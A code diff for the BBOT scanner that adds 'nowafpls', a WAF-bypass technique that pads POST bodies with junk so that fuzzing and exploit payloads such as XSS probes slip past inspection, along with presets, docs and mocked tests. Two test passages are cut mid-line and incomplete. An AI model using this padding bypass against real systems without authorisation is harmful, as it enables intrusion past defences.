self.lightfuzz.helpers.add_get_params(self.event.url, params, encode=False).geturl() - def prepare_request( + async def prepare_request( self, event_type, probe, @@ -162,6 +165,13 @@ def prepare_request( data = {parameter_name: probe} if additional_params: data.update(additional_params) + if "waf" in self.event.tags and self.lightfuzz.avoid_wafs != "always": + # pad_json prepends the junk field so the WAF's inspection buffer fills + # before it reaches the payload, and no-ops when padding won't help + padded = await self.lightfuzz.helpers.nowafpls.pad_json(self.event, data) + if padded is not data: + data = padded + self.used_nowafpls = True if event_type == "BODYJSON": request_params = { "method": "POST", @@ -188,7 +198,7 @@ def prepare_request( return request_params - def compare_baseline( + async def compare_baseline( self, event_type, probe, @@ -211,7 +221,7 @@ def compare_baseline( f"{k}{parameter_name_suffix_additional_params}": v for k, v in additional_params.items() } - request_params = self.prepare_request( + request_params = await self.prepare_request( event_type, probe, cookies, @@ -260,7 +270,7 @@ async def baseline_probe(self, cookies, emit_http_response=True): async def _baseline_probe_once(self, probe_value, cookies, additional_params, emit_http_response): """Fire one baseline request with ``probe_value`` for the fuzzed parameter and the captured sibling values, emit the response (subject to caching).""" - request_params = self.prepare_request( + request_params = await self.prepare_request( self.event.data.get("type", "GETPARAM"), probe_value, cookies, @@ -310,7 +320,7 @@ async def compare_probe( } # Prepare request parameters - request_params = self.prepare_request( + request_params = await self.prepare_request( event_type, probe, cookies, @@ -335,7 +345,7 @@ async def standard_probe( allow_redirects=False, skip_urlencoding=False, ): - request_params = self.prepare_request( + request_params = await self.prepare_request( event_type, probe, cookies, diff --git a/bbot/modules/lightfuzz/submodules/cmdi.py b/bbot/modules/lightfuzz/submodules/cmdi.py index 05e753d965..8a3735e0d7 100644 --- a/bbot/modules/lightfuzz/submodules/cmdi.py +++ b/bbot/modules/lightfuzz/submodules/cmdi.py @@ -57,7 +57,7 @@ async def fuzz(self): if int(arith_a) and int(arith_b) and arith_a[0] != "0" and arith_b[0] != "0": break arith_canary = str(int(arith_a) * int(arith_b)) - http_compare = self.compare_baseline( + http_compare = await self.compare_baseline( self.event.data["type"], probe_value, cookies ) # Initialize the http_compare object and establish a baseline HTTP response diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 085589c1d5..acecb38f66 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -466,7 +466,7 @@ async def cbc_bitflip(self, probe_value, cookies): except ValueError: continue # Use probe_a as the baseline, compare probe_b against it - http_compare = self.compare_baseline(self.event.data["type"], probe_a, cookies) + http_compare = await self.compare_baseline(self.event.data["type"], probe_a, cookies) try: result = await self.compare_probe(http_compare, self.event.data["type"], probe_b, cookies) except HttpCompareError as e: @@ -527,7 +527,7 @@ async def padding_oracle_execute(self, original_data, encoding, block_size, cook baseline_probe_value = self.format_agnostic_encode( ivblock + paddingblock[:-1] + baseline_byte + datablock, encoding ) - baseline = self.compare_baseline( + baseline = await self.compare_baseline( self.event.data["type"], baseline_probe_value, cookies, @@ -749,7 +749,7 @@ async def fuzz(self): # Cryptographic Response Divergence Test - http_compare = self.compare_baseline(self.event.data["type"], probe_value, cookies) + http_compare = await self.compare_baseline(self.event.data["type"], probe_value, cookies) try: arbitrary_probe = await self.compare_probe(http_compare, self.event.data["type"], "AAAAAAA", cookies) # truncate_probe = await self.compare_probe( diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index b051c07682..b70eb2c2e4 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -122,7 +122,7 @@ async def fuzz(self): confirmations = 0 while iterations > 0: try: - http_compare = self.compare_baseline( + http_compare = await self.compare_baseline( self.event.data["type"], probe_value, cookies, skip_urlencoding=True ) singledot_probe = await self.compare_probe( diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 07768b548d..54b600d6c0 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -265,9 +265,11 @@ async def fuzz(self): return try: - http_compare_hex = self.compare_baseline(self.event.data["type"], control_payload_hex, cookies) - http_compare_base64 = self.compare_baseline(self.event.data["type"], control_payload_base64, cookies) - http_compare_php_raw = self.compare_baseline(self.event.data["type"], control_payload_php_raw, cookies) + http_compare_hex = await self.compare_baseline(self.event.data["type"], control_payload_hex, cookies) + http_compare_base64 = await self.compare_baseline(self.event.data["type"], control_payload_base64, cookies) + http_compare_php_raw = await self.compare_baseline( + self.event.data["type"], control_payload_php_raw, cookies + ) except HttpCompareError as e: self.debug(f"HttpCompareError encountered: {e}") return diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index 888b7b812c..8641c8debf 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -85,7 +85,7 @@ async def _confirm_code_change(self, probe_value, cookies, initial_status_codes, """ for i in range(rounds): try: - fresh_compare = self.compare_baseline( + fresh_compare = await self.compare_baseline( self.event.data["type"], probe_value, cookies, @@ -238,7 +238,7 @@ async def is_quote_specific(self, http_compare, probe_value, cookies, status_cod async def fuzz(self): cookies = self.event.data.get("assigned_cookies", {}) probe_value = self.incoming_probe_value(populate_empty=True) - http_compare = self.compare_baseline( + http_compare = await self.compare_baseline( self.event.data["type"], probe_value, cookies, additional_params_populate_empty=True ) diff --git a/bbot/modules/nowafpls.py b/bbot/modules/nowafpls.py new file mode 100644 index 0000000000..9e01bf478a --- /dev/null +++ b/bbot/modules/nowafpls.py @@ -0,0 +1,50 @@ +from bbot.modules.base import BaseModule + + +class nowafpls(BaseModule): + watched_events = ["URL"] + produced_events = ["FINDING"] + flags = ["active", "invasive", "web-heavy"] + meta = { + "description": "Detect WAF bypasses via HTTP body padding (nowafpls technique)", + "created_date": "2026-07-14", + "author": "@liquidsec", + } + + per_host_only = True + in_scope_only = True + + async def filter_event(self, event): + if "waf" not in event.tags: + return False, "target is not tagged as behind a WAF" + if any(t.startswith("status-3") for t in event.tags): + return False, "URL is a redirect; padding probe would target the redirect, not the app" + return True + + async def handle_event(self, event): + result = await self.helpers.nowafpls.is_bypassable(event) + if not result.bypassed: + self.verbose(f"No bypass finding for {event.url}: {result.summary}") + return + + provider = result.waf_provider or "WAF/inspection layer" + await self.emit_event( + { + "host": str(event.host), + "url": event.url, + "severity": "LOW", + "confidence": "CONFIRMED", + "name": "WAF Bypass via Body Padding", + "description": ( + f"{provider} bypassable via nowafpls-style body padding " + f"(padding size: {result.padding_size} bytes)." + ), + }, + "FINDING", + parent=event, + context=( + f"{{module}} bypassed the WAF at {event.url} via {result.padding_size}-byte body padding. " + f"Unpadded malicious POST diverged from the baseline; the padded POST converged back, " + f"indicating the payload reached the application past the inspection layer." + ), + ) diff --git a/bbot/presets/web/lightfuzz-light.yml b/bbot/presets/web/lightfuzz-light.yml index 1c209e2942..cdaf8a58d5 100644 --- a/bbot/presets/web/lightfuzz-light.yml +++ b/bbot/presets/web/lightfuzz-light.yml @@ -12,7 +12,7 @@ config: lightfuzz: enabled_submodules: [path,sqli,xss] # only look for the most common vulnerabilities disable_post: True # don't send POST requests (less aggressive) - avoid_wafs: True + avoid_wafs: always conditions: - | diff --git a/bbot/presets/web/lightfuzz-max.yml b/bbot/presets/web/lightfuzz-max.yml index 7906f3bb71..9f93a438d0 100644 --- a/bbot/presets/web/lightfuzz-max.yml +++ b/bbot/presets/web/lightfuzz-max.yml @@ -10,7 +10,7 @@ config: lightfuzz: force_common_headers: True # Fuzz common headers like X-Forwarded-For even if they're not observed on the target enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf] - avoid_wafs: False + avoid_wafs: never excavate: speculate_params: True # speculate potential parameters extracted from JSON/XML web responses wayback: diff --git a/bbot/presets/web/lightfuzz-xss.yml b/bbot/presets/web/lightfuzz-xss.yml index c3bf35fcdb..a503b0bf48 100644 --- a/bbot/presets/web/lightfuzz-xss.yml +++ b/bbot/presets/web/lightfuzz-xss.yml @@ -1,19 +1,21 @@ -description: "XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset." +description: "XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST fuzzing enabled and try_get_as_post retests every discovered GET parameter as POST, so the nowafpls body-padding bypass gets a chance on WAF-tagged targets (a padded-POST XSS is triggerable from an attacker-controlled form)." modules: - http - lightfuzz + - nowafpls - paramminer_getparams - reflected_parameters - portfilter - + config: url_querystring_remove: False url_querystring_collapse: False modules: lightfuzz: enabled_submodules: [xss] - disable_post: True + try_get_as_post: True + avoid_wafs: try_bypasses conditions: - | diff --git a/bbot/presets/web/lightfuzz.yml b/bbot/presets/web/lightfuzz.yml index 49c4e16567..3ae97c8c75 100644 --- a/bbot/presets/web/lightfuzz.yml +++ b/bbot/presets/web/lightfuzz.yml @@ -6,10 +6,12 @@ include: modules: - badsecrets - hunt + - nowafpls - reflected_parameters - + config: modules: lightfuzz: enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf] try_post_as_get: True + avoid_wafs: try_bypasses diff --git a/bbot/test/test_step_1/test_validate_preset.py b/bbot/test/test_step_1/test_validate_preset.py index 7c049caa43..be95d985cb 100644 --- a/bbot/test/test_step_1/test_validate_preset.py +++ b/bbot/test/test_step_1/test_validate_preset.py @@ -328,3 +328,28 @@ def test_validate_preset_baddns_subclass_severity_is_validated(): def test_validate_preset_shodan_idb_retries_is_int(): """shodan_idb.retries is numeric; the natural `retries: 3` must validate (was typed str).""" assert validate_preset({"config": {"modules": {"shodan_idb": {"retries": 3}}}}) == [] + + +def test_validate_preset_lightfuzz_avoid_wafs_accepts_bool(): + """lightfuzz.avoid_wafs is a tri-state that also accepts the boolean form, so configs + written against the older bool option still load. Unknown values are still rejected.""" + for value in (True, False, "ALWAYS", " never "): + assert validate_preset({"config": {"modules": {"lightfuzz": {"avoid_wafs": value}}}}) == [] + errs = validate_preset({"config": {"modules": {"lightfuzz": {"avoid_wafs": "bogus"}}}}) + assert len(errs) == 1 and errs[0].path == "avoid_wafs" + assert "Expected one of" in errs[0].message + + +async def test_lightfuzz_avoid_wafs_bool_coerced_at_runtime(): + """Schema validation doesn't rewrite the runtime config, so lightfuzz must apply the same + coercion when it reads the option. True means 'always' (skip), False means 'never' (fuzz raw).""" + from bbot.scanner import Scanner + + for value, expected in ((True, "always"), (False, "never"), ("ALWAYS", "always"), (" never ", "never")): + scan = Scanner( + "http://127.0.0.1", presets=["lightfuzz"], config={"modules": {"lightfuzz": {"avoid_wafs": value}}} + ) + await scan._prep() + assert scan.modules["lightfuzz"].avoid_wafs == expected, ( + f"avoid_wafs={value!r} became {scan.modules['lightfuzz'].avoid_wafs!r}, expected {expected!r}" + ) diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index b0d5ee2aad..53c7b14819 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -1,4 +1,5 @@ import re +from types import SimpleNamespace from blasthttp import HTTPStatusError @@ -802,3 +803,118 @@ async def mock_probe(scheme, host, port): assert result2 is None await scan._cleanup() + + +@pytest.mark.asyncio +async def test_base_module_is_http_wildcard_host_per_url(bbot_scanner): + """Base module wrapper does a per-URL compare against the wildcard baseline + so real endpoints on a catchall host aren't wrongly rejected. WEB_PARAMETER + GETPARAM events are probed with the parameter baked into the URL.""" + from bbot.errors import HttpCompareError + from bbot.modules.base import BaseModule + + scan = bbot_scanner("wildcardhost.test") + await scan._prep() + + # baseline HttpCompare stub: records the URL passed to compare() + class FakeCompare: + def __init__(self): + self.calls = [] + self.behaviour = "match" # override per test + + async def compare(self, url, **kwargs): + self.calls.append(url) + if self.behaviour == "raise": + raise HttpCompareError("boom") + if self.behaviour == "dead": + # compare() only hands back a None response when the request itself failed + return (False, ["request_failed"], False, None) + match = self.behaviour == "match" + return (match, [], False, SimpleNamespace(status_code=200)) + + fake_compare = FakeCompare() + + async def wildcard_returns_compare(scheme, host, port): + return fake_compare + + scan.helpers.web.is_http_wildcard_host = wildcard_returns_compare + + module = BaseModule(scan) + + def make_url_event(url): + return scan.make_event(url, "URL", parent=scan.root_event, tags=["status-200"]) + + def make_web_param_event(url, name, value, ptype="GETPARAM"): + data = {"host": "wildcardhost.test", "type": ptype, "name": name, "original_value": value, "url": url} + return scan.make_event(data, "WEB_PARAMETER", parent=scan.root_event) + + # 1) URL that matches the wildcard baseline: skip (True) + fake_compare.behaviour = "match" + fake_compare.calls.clear() + result = await module._is_http_wildcard_host(make_url_event("https://wildcardhost.test/index.php")) + assert result is True + assert fake_compare.calls == ["https://wildcardhost.test/index.php"] + + # 2) URL that diverges from the baseline: real endpoint (False) + fake_compare.behaviour = "differ" + fake_compare.calls.clear() + result = await module._is_http_wildcard_host(make_url_event("https://wildcardhost.test/params.php")) + assert result is False + assert fake_compare.calls == ["https://wildcardhost.test/params.php"] + + # 3) WEB_PARAMETER GETPARAM: probe URL with the parameter baked in, not the bare URL + fake_compare.behaviour = "differ" + fake_compare.calls.clear() + result = await module._is_http_wildcard_host( + make_web_param_event("https://wildcardhost.test/index.php", "manager", "foo") + ) + assert result is False + assert len(fake_compare.calls) == 1 + assert fake_compare.calls[0].startswith("https://wildcardhost.test/index.php?") + assert "manager=foo" in fake_compare.calls[0] + + # 4) WEB_PARAMETER POSTPARAM: probe uses the bare URL (POST body isn't reflected in a GET probe) + fake_compare.behaviour = "differ" + fake_compare.calls.clear() + result = await module._is_http_wildcard_host( + make_web_param_event("https://wildcardhost.test/index.php", "manager", "foo", ptype="POSTPARAM") + ) + assert result is False + assert fake_compare.calls == ["https://wildcardhost.test/index.php"] + + # 5) probe request died: unknown, not a wildcard verdict + fake_compare.behaviour = "dead" + fake_compare.calls.clear() + result = await module._is_http_wildcard_host(make_url_event("https://wildcardhost.test/dead.php")) + assert result is None + + # 6) HttpCompareError from the compare -> None + fake_compare.behaviour = "raise" + fake_compare.calls.clear() + result = await module._is_http_wildcard_host(make_url_event("https://wildcardhost.test/broken.php")) + assert result is None + + # 7) Scalar True from a test mock (no .compare attribute) -> True (backward-compat) + async def wildcard_returns_true(scheme, host, port): + return True + + scan.helpers.web.is_http_wildcard_host = wildcard_returns_true + result = await module._is_http_wildcard_host(make_url_event("https://wildcardhost.test/whatever")) + assert result is True + + # 8) False / None from the helper pass through unchanged + async def wildcard_returns_false(scheme, host, port): + return False + + scan.helpers.web.is_http_wildcard_host = wildcard_returns_false + result = await module._is_http_wildcard_host(make_url_event("https://wildcardhost.test/anything")) + assert result is False + + async def wildcard_returns_none(scheme, host, port): + return None + + scan.helpers.web.is_http_wildcard_host = wildcard_returns_none + result = await module._is_http_wildcard_host(make_url_event("https://wildcardhost.test/anything")) + assert result is None + + await scan._cleanup() diff --git a/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py b/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py index 1c3fb4dc9f..fe9619c178 100644 --- a/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py +++ b/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py @@ -1,5 +1,8 @@ +from urllib.parse import urlparse + from .base import ModuleTestBase from bbot.test.worker import HTTPSERVER_URL +from bbot.modules.base import BaseModule class TestAjaxpro(ModuleTestBase): @@ -74,3 +77,95 @@ def check(self, module_test, events): if e.type == "TECHNOLOGY" and e.data["technology"] == "ajaxpro": ajaxpro_httpresponse_detection = True assert ajaxpro_httpresponse_detection, "Ajaxpro HTTP_RESPONSE detection failed" + + +class TestAjaxpro_nowafpls_bypass(ModuleTestBase): + """Ajaxpro should pad its exploit POST body via nowafpls when the URL is WAF-tagged and + the WAF is bypassable; the resulting FINDING should carry the ``used-nowafpls`` tag.""" + + targets = ["ajaxpro-bypass.test"] + modules_overrides = ["http", "ajaxpro"] + config_overrides = {"web": {"nowafpls_padding_sizes": [1024]}} + + _exploit_response = ( + 'null; r.error = {"Message":"Constructor on type \'AjaxPro.Services.ICartService\' not found.",' + '"Type":"System.MissingMethodException"};' + ) + + class DummyModule(BaseModule): + watched_events = ["DNS_NAME"] + _name = "dummy_module" + + async def handle_event(self, event): + if event.data != "ajaxpro-bypass.test": + return + url = self.scan.make_event( + "http://ajaxpro-bypass.test/", + "URL", + parent=event, + tags=["dir", "waf", "cloudflare", "in-scope", "status-200"], + ) + if url is not None: + await self.emit_event(url) + + async def setup_after_prep(self, module_test): + from blasthttp.mock import MockResponse + + await module_test.mock_dns({"ajaxpro-bypass.test": {"A": ["127.0.0.1"]}}) + + self.exploit_bodies: list[bytes] = [] + exploit_response = self._exploit_response + + def cb(request): + method = request.method + path = urlparse(str(request.url)).path + body = request.content or b"" + if isinstance(body, str): + body = body.encode() + + if method == "GET": + if path.endswith("/ajaxpro/whatever.ashx"): + return MockResponse(status_code=200, text="ok") + if path.endswith("/a/whatever.ashx"): + return MockResponse(status_code=404, text="not found") + return MockResponse(status_code=200, text="ok") + + has_pad = body.startswith(b"__nowafpls_pad=") or b'"__nowafpls_pad"' in body + has_malicious_script = b"%3Cscript" in body or b" int: + """Length of the junk pad in a form-encoded nowafpls body, or 0 if unpadded.""" + prefix = b"__nowafpls_pad=" + if not body.startswith(prefix): + return 0 + return len(body[len(prefix) :].split(b"&", 1)[0]) + + +def probe_results(module_test): + """The memoized BypassResult for each host the helper probed.""" + return [t.result() for t in module_test.scan.helpers.nowafpls._per_host.values() if t.done()] + + +class TestNowafpls(ModuleTestBase): + targets = ["nowafpls.test"] + modules_overrides = ["nowafpls"] + config_overrides = {"web": {"nowafpls_padding_sizes": [1024]}} + + class DummyModule(BaseModule): + watched_events = ["DNS_NAME"] + _name = "dummy_module" + + async def handle_event(self, event): + if event.data != "nowafpls.test": + return + url_event = self.scan.make_event( + "http://nowafpls.test/", + "URL", + parent=event, + tags=["waf", "cloudflare", "in-scope", "status-200"], + ) + if url_event is not None: + await self.emit_event(url_event) + + async def setup_after_prep(self, module_test): + await module_test.mock_dns({"nowafpls.test": {"A": ["127.0.0.1"]}}) + + module_test.scan.modules["dummy_module"] = self.DummyModule(module_test.scan) + + # Response model for the mocked host: + # * benign body ("q=hello") -> baseline app response + # * unpadded malicious ("q=" # Maximum HTTP requests per second (0 = unlimited) # Applies globally across all blasthttp consumers (http probing, web brute, etc.) http_rate_limit: 0 @@ -501,7 +507,7 @@ In addition to the stated options for each module, the following universal optio | modules.legba.telnet_wordlist | Union[str, list[str]] | Wordlist for TELNET combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt | | modules.legba.version | str | legba version | 1.1.1 | | modules.legba.vnc_wordlist | Union[str, list[str]] | Wordlist for VNC passwords, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt | -| modules.lightfuzz.avoid_wafs | bool | Avoid running against confirmed WAFs, which are likely to block lightfuzz requests | True | +| modules.lightfuzz.avoid_wafs | Literal['always', 'never', 'try_bypasses'] | How to handle WAF-tagged targets. 'always' skips them entirely; 'never' fuzzes them raw; 'try_bypasses' (default) asks nowafpls whether body padding gets through, and fuzzes with padding when it does. | try_bypasses | | modules.lightfuzz.disable_post | bool | Disable processing of POST parameters, avoiding form submissions. | False | | modules.lightfuzz.emit_baseline_responses | bool | Emit canonical baseline responses as HTTP_RESPONSE events so excavate can mine them for new params/URLs. | True | | modules.lightfuzz.enabled_submodules | list[str] | A list of submodules to enable. Empty list enabled all modules. | ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi', 'ssrf'] | diff --git a/docs/scanning/events.md b/docs/scanning/events.md index 749a1d32be..e5c26ffd7b 100644 --- a/docs/scanning/events.md +++ b/docs/scanning/events.md @@ -126,42 +126,42 @@ Below is a full list of event types along with which modules produce/consume the ## List of Event Types -| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | -|---------------------|-----------------------|-----------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, webhook, websocket, zeromq | | -| ASN | 0 | 1 | | asn | -| AZURE_TENANT | 1 | 1 | speculate | azure_tenant | -| CODE_REPOSITORY | 8 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trajan, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | -| DNS_NAME | 57 | 39 | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, rapiddns, securitytrails, shodan_dns, shodan_idb, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, viewdns, virustotal, wayback | -| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | -| DNS_NAME_UNVERIFIED | 0 | 1 | | virtualhost | -| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | -| FILESYSTEM | 4 | 9 | jadx, kreuzberg, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | -| FINDING | 2 | 38 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dotnetnuke, generic_ssrf, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, reflected_parameters, retirejs, shodan_enterprise, shodan_idb, speculate, telerik, trajan, trufflehog, url_manipulation, waf_bypass, wayback | -| GEOLOCATION | 0 | 2 | | ip2location, ipstack | -| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | -| HTTP_RESPONSE | 18 | 4 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, sslcert, telerik, trufflehog | http, lightfuzz, virtualhost, wayback | -| IP_ADDRESS | 11 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_enterprise, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | -| IP_RANGE | 2 | 1 | portscan, speculate | dnsresolve | -| MOBILE_APP | 1 | 1 | apkpure | google_playstore | -| OPEN_TCP_PORT | 5 | 6 | asset_inventory, fingerprintx, http, nmap_xml, portfilter | asset_inventory, censys_ip, portscan, shodan_enterprise, shodan_idb, speculate | -| OPEN_UDP_PORT | 0 | 2 | | censys_ip, shodan_enterprise | -| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | -| PASSWORD | 0 | 2 | | credshed, dehashed | -| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | -| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | -| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | -| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | -| STORAGE_BUCKET | 9 | 6 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft | -| TECHNOLOGY | 4 | 9 | asset_inventory, gitlab_onprem, trajan, web_report | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_enterprise, shodan_idb | -| URL | 25 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, generic_ssrf, git, gowitness, graphql_introspection, http, iis_shortnames, lightfuzz, ntlm, nuclei, portfilter, robots, speculate, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, wayback, web_report, webbrute | gowitness, http | -| URL_HINT | 1 | 1 | webbrute_shortnames | iis_shortnames | -| URL_UNVERIFIED | 9 | 19 | code_repository, filedownload, http, oauth, portfilter, retirejs, social, speculate, trajan | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, fingerprintx, github_codesearch, gowitness, hunterio, robots, securitytxt, urlscan, wayback, webbrute, webbrute_shortnames | -| USERNAME | 1 | 2 | speculate | credshed, dehashed | -| VIRTUAL_HOST | 0 | 1 | | virtualhost | -| WAF | 1 | 1 | asset_inventory | wafw00f | -| WEBSCREENSHOT | 0 | 1 | | gowitness | -| WEB_PARAMETER | 7 | 5 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers, wayback | +| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | +|---------------------|-----------------------|-----------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, webhook, websocket, zeromq | | +| ASN | 0 | 1 | | asn | +| AZURE_TENANT | 1 | 1 | speculate | azure_tenant | +| CODE_REPOSITORY | 8 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trajan, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | +| DNS_NAME | 57 | 39 | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, rapiddns, securitytrails, shodan_dns, shodan_idb, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, viewdns, virustotal, wayback | +| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | +| DNS_NAME_UNVERIFIED | 0 | 1 | | virtualhost | +| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | +| FILESYSTEM | 4 | 9 | jadx, kreuzberg, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | +| FINDING | 2 | 39 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dotnetnuke, generic_ssrf, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, 